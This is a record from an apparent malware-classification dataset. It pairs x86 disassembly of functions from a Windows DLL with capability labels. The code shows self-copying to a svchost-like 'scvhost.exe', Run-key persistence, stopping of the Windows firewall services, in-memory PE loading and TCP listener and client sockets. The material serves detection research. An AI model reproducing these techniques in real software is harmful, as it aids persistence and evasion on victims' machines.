joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002950
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push 0x104
push eax
push dword [0x10009f98]
call dword [0x10009fcc]
cmp dword [ebp + 8], 0
je 0x10002998
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x1000a038]
add esp, 0x10
jmp 0x100029b4
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str.Rundll32___s__Uninstall
push eax
call dword [0x1000a038]
add esp, 0xc
lea eax, [ebp - 0x208]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [0x1000a218], 1
leave
ret

Function at 0x10002bc9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call dword [0x1000a0b8]
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002c46
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10002c4d
xor eax, eax
jmp 0x10002cd3
push edi
call dword [0x10009fdc]
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10002c8a
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x1000a038]
add esp, 0x10
jmp 0x10002c9e
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x10002cc0
dec eax
je 0x10002cbd
dec eax
dec eax
jne 0x10002cd0
lea eax, [ebp - 0x168]
push eax
call fcn.10002950
jmp 0x10002ccf
push ebx
jmp 0x10002cc2
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.100029cf
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000303c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
mov byte [ebp - 2], 0x5c
mov byte [ebp - 1], bl
call edi
push 0x104
mov esi, 0x10009d8c
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
call edi
push ebx
push 0x1a
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push ebx
call edi
mov ecx, dword [0x10009d70]
lea eax, [ebp - 2]
push eax
push esi
call fcn.10004e79
push dword [ebp + 8]
mov ecx, dword [0x10009d70]
push esi
call fcn.10004e79
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100030df
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov al, byte [0x10009414]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor edi, edi
cmp dword [0x10009e94], edi
mov dword [ebp - 4], edi
mov byte [ebp - 8], al
jne 0x100031eb
push dword [ebp + 8]
call fcn.1000303c
pop ecx
push edi
call esi
mov ebx, 0x10009d8c
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10003132
push 0x74
push ebx
call fcn.10002faa
pop ecx
pop ecx
jmp 0x100031dd
push edi
call esi
push edi
push 0x80
push 3
push edi
push edi
push bind
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x10009d80], eax
je 0x100031dd
push edi
call esi
push edi
push dword [0x10009d80]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push edi
mov dword [0x10009d78], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov dword [0x10009e90], eax
call esi
push edi
push 0x10009d7c
push dword [0x10009d78]
push dword [0x10009e90]
push dword [0x10009d80]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call esi
push dword [0x10009d80]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push dword [0x10009d78]
push dword [0x10009e90]
call fcn.1000309e
push dword [0x10009e90]
call fcn.10004344
add esp, 0xc
cmp eax, edi
mov dword [0x10009d84], eax
jne 0x100031e1
xor eax, eax
jmp 0x10003224
mov dword [0x10009e94], 1
push edi
call esi
push dword [ebp + 0xc]
push dword [0x10009d84]
call fcn.1000477c
pop ecx
cmp eax, edi
pop ecx
je 0x10003221
push dword [ebp + 0x10]
push 0x1000a114
push dword [ebp - 8]
push edi
push dword [0x10009124]
push 0x10009e98
call eax
add esp, 0x18
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003520
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
and byte [ebp - 0x164], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x104
lea eax, [ebp - 0x164]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
pop ecx
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0x36]
rep stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100035c3
lea eax, [ebp - 0x164]
push ebx
push eax
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x10003a38
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
xor esi, esi
push edi
push esi
call dword [0x1000a100]
lea eax, [ebp - 0xc]
xor edi, edi
push eax
push 0x100072a8
push 1
push esi
push 0x100072c8
mov dword [ebp - 0xc], esi
call dword [0x1000a108]
test eax, eax
jge 0x10003a70
xor eax, eax
jmp 0x10003b16
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
push esi
mov dword [ebp - 8], esi
mov ecx, dword [eax]
push edx
push 0x100072b8
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10003b05
mov dword [ebp - 4], esi
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10003afc
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push 0x10007298
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x10003af1
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push esi
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x10003ade
inc edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x10003a8d
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [0x1000a104]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10003cae
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, pe_nt_image_headers32
lea eax, [ebp - 0x39c]
push esi
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
lea eax, [ebp - 0x39c]
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea eax, [ebp - 0x39c]
push 0x10003b9e
push eax
call dword [0x1000a054]
xor ebx, ebx
mov dword [0x1000a110], eax
cmp eax, ebx
je 0x10003ea4
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push ebx
push 2
call fcn.10003b56
push ebx
push ebx
push 4
call fcn.10003b56
add esp, 0x18
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [0x1000a008]
cmp dword [ebp - 0x84], 2
jne 0x10003e85
cmp dword [ebp - 0x90], 6
jae 0x10003d59
call sym.MainDll.dll_MainThread
jmp 0x10003e85
lea eax, [ebp - 0x198]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x198]
push 0x100092d0
push eax
lea eax, [ebp - 0x198]
push str._s_s.exe
push eax
call dword [0x1000a038]
add esp, 0x10
lea eax, [ebp - 0x29c]
push esi
push eax
call dword [0x1000a018]
lea eax, [ebp - 0x29c]
push str.Rundll32.exe
push eax
call dword [0x10009fe4]
lea eax, [ebp - 0x198]
push 1
push eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x198]
push eax
call fcn.10006336
test eax, eax
pop ecx
jne 0x10003dea
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x198]
push eax
call dword [0x1000a038]
pop ecx
pop ecx
lea eax, [ebp - 0x4a0]
push esi
push eax
xor edi, edi
push dword [0x10009f98]
mov dword [ebp + 0xc], ebx
call dword [0x10009fcc]
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x8a0]
push str._s___s__MainThread
push eax
call dword [0x1000a038]
add esp, 0x10
push 0x3e8
call dword [0x10009fe0]
lea eax, [ebp + 0xc]
push eax
push edi
call dword [0x1000a00c]
cmp dword [ebp + 0xc], 0x103
je 0x10003e66
push edi
call dword [0x10009fdc]
push 0xbb8
call dword [0x10009fe0]
lea eax, [ebp - 0x8a0]
push eax
call fcn.1000228f
pop ecx
mov edi, eax
mov eax, dword [0x1000a10c]
cmp eax, 3
je 0x10003e75
cmp eax, 1
jne 0x10003e26
push 0xffffffffffffffff
push edi
call dword [0x10009fec]
push edi
call dword [0x10009fdc]
push 0x64
call dword [0x10009fe0]
mov eax, dword [0x1000a10c]
cmp eax, 3
je 0x10003ea4
cmp eax, 1
je 0x10003ea4
cmp dword [0x1000a218], ebx
je 0x10003e85
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x100040a0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
push ebx
mov ebx, 0x1c0
push esi
push ebx
lea eax, [ebp - 0x284]
push 0
push eax
call dword [0x1000a0bc]
lea eax, [ebp - 0x283]
push 0x20
push eax
push str.Default
push str.Group
push str.Setting
mov byte [ebp - 0x284], 0xc8
call fcn.1000628a
push 0x10
lea eax, [ebp - 0x20]
pop esi
push esi
push 0
push eax
call dword [0x1000a0bc]
add esp, 0x2c
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 0x48]
call dword [0x1000a0f8]
lea eax, [ebp - 0x1c]
push 4
push eax
lea eax, [ebp - 0x260]
push eax
call dword [0x1000a0b8]
lea eax, [ebp - 0x25c]
push 0x32
push eax
call fcn.10003c73
add esp, 0x14
lea eax, [ebp - 0x228]
mov dword [ebp - 0x228], 0x9c
push eax
call dword [0x1000a008]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.10004058
add esp, 0xc
test eax, eax
je 0x1000417c
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x184], eax
lea eax, [ebp - 0x180]
push eax
call fcn.10003c15
pop ecx
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x60], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x58]
mov edx, dword [ebp - 0x54]
push 0x14
pop ecx
call fcn.10006c50
mov dword [ebp - 0x160], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x16c], eax
call fcn.10003a38
mov dword [ebp - 0x168], eax
call fcn.10003eab
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10009510
test eax, eax
setne al
mov byte [ebp - 0x164], al
lea eax, [ebp - 0x15c]
push eax
call esi
lea eax, [ebp - 0x148]
push 0x1000947c
push eax
call esi
mov esi, dword [ebp + 0xc]
mov ecx, esi
call fcn.10006162
test al, al
je 0x10004237
mov eax, dword [esi + 4]
mov dword [ebp - 0x130], eax
mov eax, dword [esi + 0x7c]
mov dword [ebp - 0x12c], eax
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_strcpy
add esi, 0x3a
lea eax, [ebp - 0xf6]
push esi
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x10
push edi
call fcn.10003f85
and byte [ebp - 0xc4], 0
push 0x18
mov edx, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0xc3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3e8
stosb byte es:[edi], al
cmp edx, ecx
pop edi
jl 0x1000426d
mov eax, edx
cdq
idiv ecx
push eax
push str._u_Gbps
jmp 0x10004273
push edx
push str._u_Mbps
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.MSVCRT.dll_printf]
mov ecx, dword [ebp + 8]
add esp, 0x10
lea eax, [ebp - 0x284]
push ebx
push eax
call fcn.1000189b
pop esi
pop ebx
leave
ret
Function at 0x10004344
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x10004454
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10004454
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x1000439c
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10004454
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call dword [0x1000a0b8]
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10004462
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x1000441f
push eax
push edi
call fcn.100045ce
pop ecx
pop ecx
push edi
call fcn.10004648
test eax, eax
pop ecx
je 0x1000444d
push edi
call fcn.10004511
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x1000445b
add eax, ebx
test eax, eax
je 0x1000444d
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10004458
push edi
call fcn.10004807
pop ecx
xor eax, eax
jmp 0x1000445d
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004462
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x1000450e
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x100044ce
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x100044f8
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call dword [0x1000a0bc]
add esp, 0xc
jmp 0x100044f8
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call dword [0x1000a0b8]
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x1000449b
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10004ebd
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
lea eax, [ebp - 0x190]
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x10007250
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0x6c], 0xffffffff
xor ebx, ebx
push 0x32
lea eax, [esi + 8]
push ebx
push eax
mov dword [esi + 0x70], ebx
mov dword [esi + 4], ebx
call sub.MSVCRT.dll_memset
push 0x32
lea eax, [esi + 0x3a]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
add esp, 0x18
mov dword [esi + 0x9c], eax
lea eax, [esi + 0x84]
push eax
mov dword [esi + 0x78], ebx
mov dword [esi + 0x7c], ebx
mov byte [esi + 0x80], bl
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x10004ffe
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
mov edi, eax
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
je 0x10005043
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
leave
ret

Function at 0x10005053
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push 6
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x18]
mov dword [ebp - 0x1c], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, bind
push eax
push dword [ebp + 8]
push eax
push edx
push edx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor ecx, ecx
cmp dword [ebp - 0x18], 4
pop edi
sete cl
neg eax
sbb eax, eax
and eax, ecx
leave
ret
Function at 0x1000509f
Capabilities:
Create tcp socket
Create thread
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, str.MpsSvc
mov esi, ecx
push edi
call fcn.10005053
test eax, eax
pop ecx
je 0x100050c1
push edi
call fcn.10004ffe
pop ecx
mov edi, str.SharedAccess
push edi
call fcn.10005053
test eax, eax
pop ecx
je 0x100050d8
push edi
call fcn.10004ffe
pop ecx
mov ecx, esi
call fcn.10004fa0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x6c], eax
jne 0x100050fa
xor al, al
jmp 0x100051e5
xor eax, eax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
push dword [ebp + 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
mov word [ebp - 0x12], ax
pop edi
lea eax, [ebp - 0x14]
push edi
push eax
push dword [esi + 0x6c]
xor ebx, ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10005142
push 0x32
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x1000514d
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x100050f3
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_getsockname]
push dword [ebp - 0x12]
call dword [sym.imp.WS2_32.dll_ntohs]
push dword [ebp + 0x10]
movzx eax, ax
mov dword [esi + 4], eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x100051a5
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x100051a5
push dword [ebp + 0x10]
lea eax, [esi + 8]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x14]
lea eax, [esi + 0x3a]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x10
mov eax, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x100051c7
inc dword [esi + 0x78]
push ebx
push ebx
push esi
push 0x100051ec
push ebx
push ebx
mov dword [esi + 0x7c], eax
call edi
mov dword [esi + 0x74], eax
inc dword [esi + 0x78]
push ebx
push ebx
push esi
push 0x10005266
push ebx
push ebx
mov byte [esi + 0x80], 1
call edi
cmp eax, ebx
mov dword [esi + 0x70], eax
setne al
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x10005338
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x10
lea eax, [ebp - 0x10]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0xe], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x1000538c
mov ecx, ebx
call fcn.10005f89
test eax, eax
je 0x100053c1
push edi
mov ecx, ebx
call fcn.10005f89
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x100053c1
lea ecx, [ebp - 0x10]
push 0x10
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100053ca
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
push 1
pop eax
jmp 0x100053c3

Function at 0x100053cf
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x1000a21c
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x1000544b
xor ebx, ebx
mov eax, dword [esi + 0xc]
xor edi, edi
cmp dword [eax + ebx], edi
je 0x1000544b
mov eax, dword [ebp + 8]
and byte [eax], 0
cmp word [esi + 0xa], di
jle 0x10005446
test edi, edi
jle 0x10005414
push 0x10009be0
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov eax, dword [esi + 0xc]
mov eax, dword [eax + ebx]
movzx eax, byte [eax + edi]
push eax
lea eax, [ebp - 0x10]
push 0x10009bdc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
movsx eax, word [esi + 0xa]
add esp, 0x14
inc edi
cmp edi, eax
jl 0x10005401
add ebx, 4
jmp 0x100053eb
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005453
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x100054a7
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x100054ab
xor eax, eax
jmp 0x100054e4
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.100053cf
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret